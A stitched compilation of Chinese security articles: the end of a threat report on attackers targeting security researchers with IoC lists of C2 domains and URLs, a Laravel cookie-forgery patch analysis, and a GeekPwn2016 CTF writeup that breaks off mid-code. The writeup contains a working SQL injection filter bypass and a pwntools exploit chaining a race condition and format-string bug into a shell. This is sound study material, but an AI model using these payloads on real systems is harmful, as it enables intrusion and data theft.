通常情况下，我们很难全面验证攻击者所发布视频中所涉及到的漏洞的真实性，也难以验证漏洞是否可用，但攻击者已经在至少一个视频中，伪造了他们成功利用所宣称可用漏洞的场景。2021年1月14日，攻击者在Twitter上分享了一个YouTube视频，宣称利用了漏洞CVE-2021-1647，并宣称该漏洞是一个最近刚被打补丁的Windows
Defender漏洞。在视频中，他们演示了一个利用该漏洞生成cmd.exe的shell程序。但是，YouTube上发布的多条评论说，该视频是假的，该漏洞并非如视频中所展示，而是发布者伪造出来的。针对这些评论，攻击者利用他们所控制的另外一个Twitter账户来转发原文，并声称该视频是真的。
图3 展示攻击者漏洞利用的Tweets(Tweets demonstrating the actors' “exploits”)
在本次攻击活动中，攻击者使用了一种新型的社会工程攻击手段，来针对特定的安全研究人员发起定向攻击。在建立初始的通信联系之后，攻击者就会询问被攻击研究人员是否愿意合作开展漏洞研究，并向被攻击者提供一个Visual
Studio程序包。该程序包中包含一些开展漏洞利用的源程序，并附带一个通过Visual
Studio编译过程而运行的DLL文件。该DLL文件是一个定制的恶意程序，一旦执行就会与攻击者控制的C2服务建立连接。下图所示为VS编译事件所生成的image文件，其中可以看到编译过程会运行的Powershell脚本。
图4 当编译攻击者提供的VS项目程序时执行的编译指令(Visual Studio Build Events command executed when
building the provided VS Project files)
除了向定向用户发起社会工程攻击之外，我们还发现了另外几种当受害研究人员访问攻击者博客之后被攻击的方式。其中一种攻击方式为，当受害者点击blog.br0vvnn.io上发布的一篇文章时，受害者的电脑系统中就会在此后不久安装一个恶意的服务，并会启动一个内存后门程序，开始与攻击者控制的C2服务建立通信连接。在此访问期间，受害者电脑上运行的Chrome浏览器和Windows
10系统都是最新的，并且都已安装了最新的补丁。目前，该攻击过程所用的攻击机制尚未明确。Chrome官方也发布消息，欢迎任何研究人员提交漏洞在野利用信息。
分析发现，攻击者使用了多个平台与潜在攻击对象进行沟通联系，包括Twitter、LinkedIn、Telegram、Discord、Keybase及邮件Email。本文的附录中列出了已知的攻击者所用的账户和别名。如果各位读者与这些账户进行了沟通，或者访问了他们的博客，我们建议您尽快基于我们所列的IOC检查一下自己的系统是否中招。截至目前，我们仅发现了这些针对Windows系统发起定向攻击的攻击者。
如果你担心以后可能会被定向攻击，我们建议使用分开的物理机或虚拟机来分别开展研究活动，包括浏览网络，与其他研究者交流，接收第三方文件，及开展自己的安全研究等。
## 相关IoC
攻击者控制的网站和帐户
(1)用于水坑攻击的“安全研究博客”：
<https://blog.br0vvnn[.]io>
(2)攻击者Twitter账号：
<https://twitter.com/br0vvnn>
<https://twitter.com/BrownSec3Labs>
<https://twitter.com/dev0exp>
<https://twitter.com/djokovic808>
<https://twitter.com/henya290 >
<https://twitter.com/james0x40>
<https://twitter.com/m5t0r>
<https://twitter.com/mvp4p3r>
<https://twitter.com/tjrim91>
<https://twitter.com/z0x55g>
(3)攻击者LinkedIn账号：
<https://www.linkedin.com/in/billy-brown-a6678b1b8/>
<https://www.linkedin.com/in/guo-zhang-b152721bb/>
<https://www.linkedin.com/in/hyungwoo-lee-6985501b9/>
<https://www.linkedin.com/in/linshuang-li-aa696391bb/>
<https://www.linkedin.com/in/rimmer-trajan-2806b21bb/>
(4)攻击者Keybase：
<https://keybase.io/zhangguo>
(5)攻击者Telegram：
<https://t.me/james50d>
(6)样本Hashes：
<https://www.virustotal.com/gui/file/4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244/detection>(VS
Project DLL)
<https://www.virustotal.com/gui/file/68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7/detection>
(VS Project DLL)
<https://www.virustotal.com/gui/file/25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc/detection>
(VS Project Dropped DLL)
<https://www.virustotal.com/gui/file/a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855/detection>
(VS Project Dropped DLL)
<https://www.virustotal.com/gui/file/a4fb20b15efd72f983f0fb3325c0352d8a266a69bb5f6ca2eba0556c3e00bd15/detection>
(Service DLL)
(6)攻击者C2域名：
angeldonationblog[.]com
codevexillium[.]org
investbooking[.]de
krakenfolio[.]com
opsonew3org[.]sg
transferwiser[.]io
transplugin[.]io
(7)被攻击者利用作C2 域名的被攻陷的合法站点：
trophylab[.]com
www.colasprint[.]com
www.dronerc[.]it
www.edujikim[.]com
www.fabioluciani[.]com
(8)C2 URLs：
https[:]//angeldonationblog[.]com/image/upload/upload.php
https[:]//codevexillium[.]org/image/download/download.asp
https[:]//investbooking[.]de/upload/upload.asp
https[:]//transplugin[.]io/upload/upload.asp
https[:]//www.dronerc[.]it/forum/uploads/index.php
https[:]//www.dronerc[.]it/shop_testbr/Core/upload.php
https[:]//www.dronerc[.]it/shop_testbr/upload/upload.php
https[:]//www.edujikim[.]com/intro/blue/insert.asp
https[:]//www.fabioluciani[.]com/es/include/include.asp
http[:]//trophylab[.]com/notice/images/renewal/upload.asp
http[:]//www.colasprint[.]com/_vti_log/upload.asp
(9)受害者主机IOCs：
注册表键值：
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
文件路径：
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
## 参考文献：
<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers>
* * * | 社区文章 |
[TOC]
# 0x00 漏洞描述
7月27日，Laravel发布安全通告，修复了一个Cookie伪造漏洞。这个漏洞利用难度较高，需要程序会对用户输入进行加密，并返回加密结果。由于未将cookie-value与cookie-name进行绑定，导致可以通过构造合法密文来进行cookie伪造，造成逻辑漏洞，当Session
handler为cookie时会造成远程命令执行。
# 0x01 分析
laravel存在cookie加密机制，在官方给的laravel项目中，默认使用`config/app.php`中的`key`字段进行加密，默认值是.env的APP_KEY字段。加密方法是`cipher`字段。
下面直接看cookie加密、解密的部分。首先看老版本的：
//7.6.0
//vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php
protected function encrypt(Response $response)
{
...
$response->headers->setCookie($this->duplicate(
$cookie, $this->encrypter->encrypt($cookie->getValue(), static::serialized($cookie->getName()))
));
...
}
可以发现直接调用了`$this->encrypter->encrypt()`进行加密，跟进一下：
//vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php
public function encrypt($value, $serialize = true)
{
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = \openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'), JSON_UNESCAPED_SLASHES);
if (json_last_error() !== JSON_ERROR_NONE) {
throw new EncryptException('Could not encrypt the data.');
}
return base64_encode($json);
}
首先生成iv，然后使用之前配置的key和cipher通过`openssl_encrypt()`进行加密。然后对这个加密结果计算hash，最终把iv、加密结果、hash一起返回。
解密的过程同理可得，这里就不贴出来了。
回顾一下整个加解密过程不难发现，最终生成的加密的cookie-value与cookie-name是完全没有联系的。虽说用户无法得知cookie-value的明文，但是可以通过替换cookie-value为一个合法的值来进行cookie伪造，这种攻击的前提是程序会输出用户的输入的加密结果。
在官方通告中提到，当session
handler是cookie时可能造成RCE，其默认值是file，也就是session数据存在文件中。而当设置成cookie时，则会把session的序列化数据加密之后放到cookie中返回给用户，下次请求时带上这个cookie，后台在解密后会进行反序列化。当可以进行cookie伪造时，就可以通过cookie反序列化+pop链进行RCE。
# 0x02 补丁分析
下面分析一下7.22.4的补丁情况
//vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:138
protected function encrypt(Response $response)
{
...
$response->headers->setCookie($this->duplicate(
$cookie,
$this->encrypter->encrypt(
CookieValuePrefix::create($cookie->getName(), $this->encrypter->getKey()).$cookie->getValue(),
static::serialized($cookie->getName())
)
));
...
}
核心补丁与老版本的对比一下：
$this->encrypter->encrypt($cookie->getValue(), static::serialized($cookie->getName())) //老版本
$this->encrypter->encrypt(
CookieValuePrefix::create($cookie->getName(), $this->encrypter->getKey()).$cookie->getValue(),
static::serialized($cookie->getName()) //补丁
其中`$this->encrypter->encrypt()`的底层代码并没有变，因此这里的补丁原理就很明显了，原先是直接调用`$cookie->getValue()`进行加密，补丁则是在value前加了个前缀：`CookieValuePrefix::create($cookie->getName(),
$this->encrypter->getKey())`。这里获取cookie-name和加密的key，传入create()，跟进一下
//vendor/laravel/framework/src/Illuminate/Cookie/CookieValuePrefix.php:14
public static function create($cookieName, $key)
{
return hash_hmac('sha1', $cookieName.'v2', $key).'|';//为何要拼接v2？猜测是因为如果$cookieName是数组，那么计算的结果就是Null.'|'，一定程度上来说相当于bypass了。但是强制拼接v2就是'Arrayv2'.'|'
}
这里就是对cookiename+key算了个hash。
回顾整个加密流程，原先是仅对cookie-value加密，而补丁则是在cookie-value前拼接了cookie-name与key的hash。由于攻击者不知道key（如果知道了key那么任何加密都是没用的），因此也就无法伪造出一个合法的cookie-value。
并且由于对cookie-name和cookie-value进行hash的算法不一样（一个是SHA，一个是AES)，因此无法通过两次请求来伪造合法的cookie-value（使用第一次加密cookie-name的结果拼接到第二次加密的输入前）。
简单的看下解密部分
//vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:76
protected function decrypt(Request $request)
{
foreach ($request->cookies as $key => $cookie) {
...
$value = $this->decryptCookie($key, $cookie);
$hasValidPrefix = strpos($value, CookieValuePrefix::create($key, $this->encrypter->getKey())) === 0;//判断cookie value明文是否以cookie-name hash开头
$request->cookies->set(
$key, $hasValidPrefix ? CookieValuePrefix::remove($value) : null//如果上面的判断为true，则去掉开头的hash，否则置为null
);
...
}
return $request;
}
//vendor/laravel/framework/src/Illuminate/Cookie/CookieValuePrefix.php:25
public static function remove($cookieValue)
{
return substr($cookieValue, 41);
}
首先是判断解密后的cookie-value是否以cookie-name关联的hash开头，如果是则会调用`remove()`去掉开头的41个字符，不是则会将cookie-value置为null。也可以说是强制cookie-value明文必须以hash开头，保证攻击者无法伪造cookie-value。
# 0x03 影响版本
<=7.21.0(7.22.0开始修复，7.22.4才完全修复)
<=6.18.26(6.18.27开始修复，6.18.31才完全修复)
# 0x04 参考
<https://blog.laravel.com/laravel-cookie-security-releases> | 社区文章 |
# 【CTF攻略】GeekPwn2016跨次元CTF Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **FlappyPig**
****](http://bobao.360.cn/member/contribute?uid=1184812799)
**稿费：800RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**写在前面**
* * *
跨次元CTF是一个不同于传统CTF的比赛，无论是从线上还是线下。线上赛的题目以离线打包的方式发送给队伍，各队的题目可能存在差别。
经过大家的努力，幸运的进入了跨次元CTF决赛。
线下决赛甚至比初赛更加神秘。Joker一个人去听了tk教主的规则讲解，晚上大家在房间里讨论的时候，得到的信息也很少。基本处于懵逼状态。决赛的性质比较偏向表演赛，但是有些题目还是很有意思。虽然赛场上我们只做了两道题，但是赛后还是补了功课，写了这篇Writeup。
一共四道题目。第一道Android，第二道题Web，三四题都是Pwn。
**无人机的玩法：**
两队的无人机，拥有无限炸弹，自己飞机起飞扣200分，被攻击的队伍扣300分。每队拥有自己的MasterKey和Token,分别用来自行攻击和控制他国攻击
**操控方式：**
用本队服务器访问指定页面
1.自行攻击：http://xxx.com/root.php?key=本队MasterKey
自行攻击是杀敌一千，自损八百的战术。如果平分或者僵局的时候可以选择。
2.控制他国攻击：http://xxx.com/guest.php?token=本队Token&attack=N&flag=M国第P题的flag&pid=P&use=M
(使用M国的第P题的Flag，控制国家M攻击N)
需要注意的是，一个Flag只能用一次，就是两个队拿了相同的Flag，先攻击的有效，后攻击的无效。Flag不会更新。
**题目1 无人机的钥匙（Android、Misc）**
* * *
**描述：** 一张神秘的地图被撕碎了，拼接完整这份地图，找到和砸开彩蛋，就可以拿到无人机的钥匙了。
Flag为五位字符串
apk打开，是一个拼图的小游戏，用jeb打开apk可以看出程序将拼图图片的顺序传入到了native层的lib里做验证。
用unzip解压apk，用ida打开lib/armeabi目录下的libhell0.so文件，在导出函数里找到Java_com_geekpwn_1ctf_MainActivity_stringFronJNI函数，如下图
可以看出，如果拼图正确的话会输出Congrats! Pwn the secret egg with m$W2h, and you will get the
flag.随后又拿到一个提示：查看签名文件。
用unzip解压apk，查看其META-INF目录，有一个名为“CERT
.SF”的文件，其中多了一个空格，比较可疑，使用file命令查看发现是一个zip压缩文件
unzip解压缩该文件提示需要密码，尝试之前获取的“m$W2h”作为密码，解压成功。
解压出一个名为98的压缩文件，再解压98解压出一个名为97的压缩文件，推测是循环解压，于是写了个bash脚本解压
for((i=97; i>0; --i))
do
unzip $i
done
最后解压出名为0的压缩文件，再解压出来是一个gif文件“Flag2.gif”。
打开之后是一个快速变化的二维码图片，众所周知，mac对gif的支持并不好，于是使用mac自带的“预览”打开gif文件，其每一帧的信息就显示出来了。
使用微信扫描二维码，每幅二维码扫描出来都是一个字符，连接起来是“63E13B2A1EB2558A642E61B343241F5A”。推测是一个MD5，使用cmd5查询即可得到flag。
**题目2 无人机病了（Web）**
* * *
**描述：** 无人机需要Injection
**端口：** 80
代码审计题目，代码如下：
<?php
error_reporting(0);
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("./inc.php"); // Database Connected
function nojam_firewall(){
$INFO = parse_url($_SERVER['REQUEST_URI']);
parse_str($INFO['query'], $query);
$filter = ["union", "select", "information_schema", "from"];
foreach($query as $q){
foreach($filter as $f){
if (preg_match("/".$f."/i", $q)){
nojam_log($INFO);
die("attack detected!");
}
}
}
}
nojam_firewall();
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/s'.$operator.'s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
<style>
td:first-child, td:last-child {text-align:center;}
td {padding:3px; border:1px solid #ddd;}
thead td {font-weight:bold; text-align:center;}
tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
<thead>
<tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
</thead>
<tbody>
<?php
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
</tbody>
<tfoot>
<tr><td colspan=4>
<form method="">
<select name="search_cols">
<option value="subject" selected>subject</option>
<option value="content">content</option>
<option value="content|content">subject, content</option>
<option value="writer">writer</option>
</select>
<input type="text" name="keyword" />
<input type="radio" name="operator" value="or" checked /> or
<input type="radio" name="operator" value="and" /> and
<input type="submit" value="SEARCH" />
</form>
</td></tr>
</tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />
漏洞很明显，line 47 parse_str 导致变量覆盖，line 59 若 $col为 False 就不会进入赋值语句，也就是说
$query_parts 因变量覆盖可控，而在 line 56-59 可以看到 $col 是对输入做正则匹配的返回值，也就是说 $col
可控，进而导致注入，url：/index.php?search_cols=a&keyword=xxxx&operator=and&query_parts={injection}
。
但是在 line 12-24 可以看到有一防注入函数，想要更好出数据肯定要绕过防注入。函数是通过 parse_url、parse_str 解析 url
参数，然后通过正则限制关键字的方式做的过滤，常规的方法绕过相对困难。
这里用到了 parse_url 函数在解析 url 时存在的 bug，通过：////x.php?key=value 的方式可以使其返回
False。具体可以看下[[parse_url的源码]](https://github.com/php/php-src/blob/9df6112e01eacb6e068e8d23e78181918bdab548/ext/standard/url.c#L97)，关键代码如下：
PHPAPI php_url *php_url_parse_ex(char const *str, size_t length)
{
char port_buf[6];
php_url *ret = ecalloc(1, sizeof(php_url));
char const *s, *e, *p, *pp, *ue;
...snip...
} else if (*s == '/' && *(s + 1) == '/') { /* relative-scheme URL */
s += 2;
} else {
just_path:
ue = s + length;
goto nohost;
}
e = s + strcspn(s, "/?#");
...snip...
} else {
p = e;
}
/* check if we have a valid host, if we don't reject the string as url */
if ((p-s) < 1) {
if (ret->scheme) efree(ret->scheme);
if (ret->user) efree(ret->user);
if (ret->pass) efree(ret->pass);
efree(ret);
return NULL;
}
可以看到，在函数 parse_url 内部，如果 url 是以 //开始，就认为它是相对 url，而后认为 url 的部件从 url+2 开始。line
281，若 p-s < 1也就是如果 url 为 ///x.php，则 p = e = s = s + 2，函数将返回 NULL。
再看 PHP_FUNCTION，line 351：
/* {{{ proto mixed parse_url(string url, [int url_component])
Parse a URL and return its components */
PHP_FUNCTION(parse_url)
{
char *str;
size_t str_len;
php_url *resource;
zend_long key = -1;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|l", &str, &str_len, &key) == FAILURE) {
return;
}
resource = php_url_parse_ex(str, str_len);
if (resource == NULL) {
/* @todo Find a method to determine why php_url_parse_ex() failed */
RETURN_FALSE;
}
若 php_url_parse_ex结果为 NULL，函数 parse_url 将返回 FALSE，测试如下：
➜ ~ uname -a
Linux kali 4.7.0-kali1-amd64 #1 SMP Debian 4.7.8-1kali1 (2016-10-24) x86_64 GNU/Linux
➜ ~ php -v
PHP 7.0.12-1 (cli) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.12-1, Copyright (c) 1999-2016, by Zend Technologies
➜ ~ php -a
Interactive mode enabled
php > var_dump(parse_url('///x.php?key=value'));
bool(false)
函数 php_url_parse_ex中还存在很多类似的问题，而 parse_url 中又没有对其解析失败的原因进行分析，导致 parse_url
频繁出现类似的 bug，比如主办方后来放出的 hint：[[Bug
#55511]](https://bugs.php.net/bug.php?id=55511)。
$INFO = parse_url($_SERVER['REQUEST_URI']) = FALSE，后续的过滤也就完全无用了，成功绕过防注入。最终
payload 如下：
////index.php?search_cols=a|b&keyword=xxxx&operator=and&query_parts=123 union select 1,2,3,flag from flag
**题目3：无人机驾驶员飞行日志（Pwn1）**
* * *
**描述：**
无人机驾驶员惠惠养成了记飞行日志的好习惯，一开始用C语言写了一套，后来觉得Python大法好,又用Python写了一套飞航日志系统。所以旁友，系统会有什么问题呢？
**端口：** 6161
**端口：** 6162
给了Blog-bin、Blog-py、run-blog文件，其中Blog-bin是32位elf，Blog-py是pyc文件，run-blog是bash文件
run-blog
#! /usr/bin/python
import os
os.chdir('/tmp/pwn')＃原题是/home/pwn1
os.system('python Blog-py.py')
Blog-bin.c
#include <stdio.h>
#include <time.h>
#include <string.h>
int menu();
void write_blog();
void read_blog();
int list_blog(char *s);
int check_vaild(char c);
int menu()
{
int i;
fprintf(stdout, "---- UAV Pilot Blog Version 1.0 ----n");
fprintf(stderr, "1. List Blogn");
fprintf(stdout, "2. Write Blogn");
fprintf(stdout, "3. Read Blogn");
fprintf(stdout, "4. Exitn");
fprintf(stdout, "------------------------------------n");
fprintf(stdout, "Your choice: ");
fflush(stdout);
scanf("%d", &i);
getchar();
return i;
}
int check_vaild(char c)
{
if(((c>=97)&&(c<=122))||((c>=65)&&(c<=90))||(c==32)||(c==46)||((c>=48)&&(c<=57))||(c==0)||(c==10))
{
return 1;
}
else
{
return 0;
}
}
void write_blog()
{
int flag;
char c;
FILE *fp;
char filename[255];
char content[1024] = {0};
flag = 1;
time_t now;
time(&now);
int i;
i = 0;
fprintf(stdout, "Please input blog content: n");
fflush(stdout);
while(1)
{
c = getchar();
if((c==0)||(i>=1022)||(flag != 1))
{
break;
}
if(check_vaild(c))
{
content[i] = c;
}else{
exit(0);
}
i += 1;
}
content[i+1] = 0;
sprintf(filename, "%ld.em", now);
// printf("filename : %sn", filename);
fp = fopen(filename, "a+");
if (fp == NULL)
{
fprintf(stdout, "Open file error!n");
fprintf(stdout, "Byen");
fflush(stdout);
exit(0);
}
fprintf(fp, "%s", content);
fclose(fp);
fp = fopen("filelog.txt", "a+");
fprintf(fp, "%sn", filename);
fclose(fp);
}
void read_blog()
{
char filename[255] = {0};
char content[2048];
char c;
int flag;
flag = 1;
FILE *fp;
int i;
i = 0;
fprintf(stdout, "Please input blog name: n");
fflush(stdout);
while(1)
{
c = getchar();
if((c==10)||(i>=200)||(flag != 1))
{
break;
}
if(check_vaild(c))
{
filename[i] = c;
}else{
exit(0);
}
i += 1;
}
filename[i+1] = 0;
if(list_blog(filename))
{
fp = fopen(filename, "r");
if (fp == NULL)
{
fprintf(stdout, "Open file error!n");
fprintf(stdout, "Byen");
fflush(stdout);
exit(0);
}
int count = 0;
while (!feof(fp))
{
c = fgetc(fp);
content[count] = c;
count += 1;
}
content[count] = 0;
fclose(fp);
fprintf(stdout, content);
fflush(stdout);
fprintf(stdout, "n");
fflush(stdout);
}
else
{
fprintf(stdout, "Blog not exist!n");
fprintf(stdout, "Bye!n");
fflush(stdout);
}
}
int list_blog(char *s)
{
FILE *fp;
char *line = NULL;
size_t len = 0;
ssize_t read;
fp = fopen("filelog.txt", "r");
if (fp == NULL)
{
fprintf(stdout, "Open file error!n");
fprintf(stdout, "Byen");
fflush(stdout);
exit(0);
}
int cmp, flag;
cmp = strcmp("main", s);
flag = 0;
char tmp_str[20];
memset(tmp_str,0,20);
if(cmp == 0)
{
fprintf(stdout, "----- Blog List -----n");
fflush(stdout);
}
while ((read = getline(&line, &len, fp)) != -1)
{
if(cmp == 0)
{
fprintf(stdout, "%s", line);
fflush(stdout);
}
else
{
strncpy(tmp_str, line, 13);
if(!strcmp(tmp_str, s))
{
flag = 1;
return 1;
}
}
}
if(cmp == 0)
{
fprintf(stdout, "---------------------n");
fflush(stdout);
}
fclose(fp);
return 0;
}
int main()
{
int choice;
while(1)
{
choice = menu();
switch(choice)
{
case 1:
list_blog("main");
break;
case 2:
write_blog();
break;
case 3:
read_blog();
break;
case 4:
return 0;
}
}
return 0;
}
反编译Blog-py
import time
import os
import sys
class flushfile(object):
def __init__(self, f):
self.f = f
def write(self, x):
self.f.write(x)
self.f.flush()
sys.stdout = flushfile(sys.stdout)
def gen_id():
now = int(time.time())
return '%d.em' % now
def list_blog():
l = []
f = open('bloglist.txt', 'r')
l = [ x.strip() for x in f ]
f.close()
return l
def write_blog():
content = raw_input('Please input blog content: n')
filename = gen_id()
fw = open(filename, 'a+')
fw.write(content)
fw.close()
while True:
try:
f = open('bloglist.txt', 'a+')
break
except:
pass
f.write(filename + 'n')
f.close()
def read_blog():
filename = raw_input('Please input blog name: n')
filename = filename.strip()
if filename not in list_blog():
if not os.path.exists(filename):
print 'File not exist!'
return
fr = open(filename, 'r')
content = fr.read()
fr.close()
print content
def menu():
print '---- UAV Pilot Blog Version 2.0 ----'
print ' 1. List Blog'
print ' 2. Write Blog'
print ' 3. Read Blog'
print ' 4. Exit'
print '------------------------------------'
return raw_input('Your choice: n')
def main():
choice = int(menu())
if choice == 1:
print '-- File List --'
for x in list_blog():
print x
print '---------------'
if choice == 2:
write_blog()
if choice == 3:
read_blog()
if choice == 4:
exit()
if __name__ == '__main__':
os.chdir('/tmp/pwn/')
while True:
main()
**漏洞分析**
可以看到bin文件对文件名和内容进行了严格的过滤，但是py文件并没有过滤，可以通过race
condition请求bin和py文件来修改xxxx.em的内容，在read_blog函数读取文件内容并显示输出的时候即可达到格式化字符串的目的fprintf(stdout,
content);
第一次race然后格式化可以到达info
leak泄漏got表，第二次race在格式化可以修改fputs.got表，然后在write_blog函数中getshell(fputs(v7,
stream)ida中)
**本地测试**
本地socat 4444端口是bin，socat 6666端口是py
socat tcp-l:6666,reuseaddr,fork exec:./run_blog
socat tcp-l:4444,reuseaddr,fork exec:./Blog-bin
**exp(代码有段乱)**
# -*-coding:utf-8-*- __author__ = '0x9k'
from pwn import *
import time
from libformatstr import FormatStr
fputs_got = 0x0804B05C
r = remote("172.16.33.144", 4444)#pwn
#context.log_level = "debug"
#race condition
print r.recvuntil("choice: ")
r.sendline("2")
print r.recvuntil("content: n")
payload = "x00"
r.sendline(payload)
joker_time = int(time.time())
r1 = remote("172.16.33.144", 6666)#python
print r1.recvuntil("choice: ")
r1.sendline("2")
print r1.recvuntil("content:")
payload = p32(fputs_got)
payload += "%74$s"#leak fputs_got
r1.sendline(payload)
joker_time = int(time.time())
print r1.recvuntil("choice:")
r1.sendline("4")
r1.close()
#race condition
#format_vuln
print r.recvuntil("choice:")
r.sendline("3")
payload = str(joker_time) + ".emx00"
print joker_time
raw_input("joker")
print r.recvuntil("name: n")
r.sendline(payload)
#format_vuln
content = r.recvuntil("n").replace("n","")
fputs_addr = u32(content[-5:-1])
print "[*] fputs addr:{0}".format(hex(fputs_addr))
system_offset = 0x00040310#local
fputs_offset = 0x00064230#local
system_addr = fputs_addr - fputs_offset + system_offset
print "[*] system addr:{0}".format(hex(system_addr))
#race condition
print r.recvuntil("choice: ")
r.sendline("2")
print r.recvuntil("content: n")
payload = "x00"
r.sendline(payload)
joker_time = int(time.time())
p = FormatStr()
p[fputs_got] = system_addr
payload = p.payload(74,start_len =0x0)
r1 = remote("172.16.33.144", 6666)#python
print r1.recvuntil("choice: ")
r1.sendline("2")
print r1.recvuntil("content:")
r1.sendline(payload)
joker_time = int(time.time())
print r1.recvuntil("choice:")
r1.sendline("4")
r1.close()
#race condition
#format_vuln
raw_input("joker")
print r.recvuntil("choice:")
r.sendline("3")
payload = str(joker_time) + ".emx00"
print joker_time
raw_input("joker")
print r.recvuntil("name: n")
r.sendline(payload)
#format_vuln
print r.recvuntil("choice:")
r.sendline("2")
print r.recvuntil("content: n")
payload = "shx00"
r.sendline(payload)
joker_time = int(time.time())
r.interactive()
**题目4：无人机的图像解码器**
* * *
**描述：** 这个无人机有一点微小的不同，就是它配备了一个图像解码器，而Flag就藏在解码器里面。
**端口：** 6163
题目开启了端口6061,提供了一个文件ImageDecoder文件，模拟了图片decode，源码如下
##source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
bool has_width = false;
bool has_height = false;
bool has_data = false;
bool need_exit = false;
unsigned char flag[40] = { 0 };
void initflag()
{
FILE *fp = fopen("flag.txt", "rb");
if (fp != NULL)
{
fread(flag, sizeof(flag), 1, fp);
fclose(fp);
}
}
unsigned int randint(unsigned int low, unsigned int high)
{
return rand() % (high - low) + low;
}
void readflag(unsigned char* buffer, unsigned int offset, unsigned int size)
{
int total = sizeof(flag);
if (size > total)
{
size = total;
}
if (offset >= total)
{
offset = total - 1;
}
if (size + offset > total)
{
offset = randint(0, total);
size = 1;
}
memcpy(buffer, flag+offset, size);
}
void show_welcome_msg()
{
fprintf(stdout, "................................................n");
fprintf(stdout, ". Welcome to Image Decoding System .n");
fprintf(stdout, "................................................n");
fflush(stdout);
}
int show_main_menu()
{
fprintf(stdout, "nEnter a option to start:n");
fprintf(stdout, "1. Size parametersn");
fprintf(stdout, "2. Image datan");
fprintf(stdout, "3. Decode imagen");
fprintf(stdout, "4. Exitn");
fflush(stdout);
int result = 0;
fscanf(stdin, "%d", &result);
return result;
}
void handle_size(int& width, int& height)
{
fprintf(stdout, "width: ");
fflush(stdout);
fscanf(stdin, "%d", &width);
fprintf(stdout, "height: ");
fflush(stdout);
fscanf(stdin, "%d", &height);
if (width <= 0 || height <= 0 || width > 0x20 || height > 0x20)
{
fprintf(stdout, "bad width or height :( bye byen");
fflush(stdout);
need_exit = true;
return;
}
has_width = has_height = true;
has_data = false;
fprintf(stdout, "Accepted! width = %d, height = %dn", width, height);
fflush(stdout);
}
void handle_data(int width, int height, unsigned char*& data)
{
if (!has_width || !has_height)
{
fprintf(stdout, "no width or height assigned, ");
fprintf(stdout, "you need to handle choice 1 first!n");
fflush(stdout);
return;
}
has_data = false;
if (data)
{
free(data);
data = NULL;
}
int total = width * height;
data = (unsigned char*)malloc(total);
fprintf(stdout, "enter %d bytes of data, use an integer to represent a byten", total);
fprintf(stdout, "for eaxmple, enter 65 if you want to enter character 'A'n");
fflush(stdout);
for (int i = 0; i < total; ++i)
{
int temp = 0;
fscanf(stdin, "%d", &temp);
if (temp < 0 || temp > 255)
{
fprintf(stdout, "error data format :(");
fflush(stdout);
return;
}
data[i] = char(temp & 0xFF);
}
has_data = true;
}
void handle_decode(int width, int height, unsigned char*& data)
{
volatile unsigned short flag_offset = randint(0, sizeof(flag));
volatile unsigned short flag_size = 1;
unsigned char img_data[128] = { 0 };
if (!has_data)
{
fprintf(stdout, "no data available, ");
fprintf(stdout, "you need to handle choice 2 first!n");
fflush(stdout);
return;
}
int total = width * height;
int offset = 0;
if (total == 0x7FFFFFFF)
{
flag_size = 0;
}
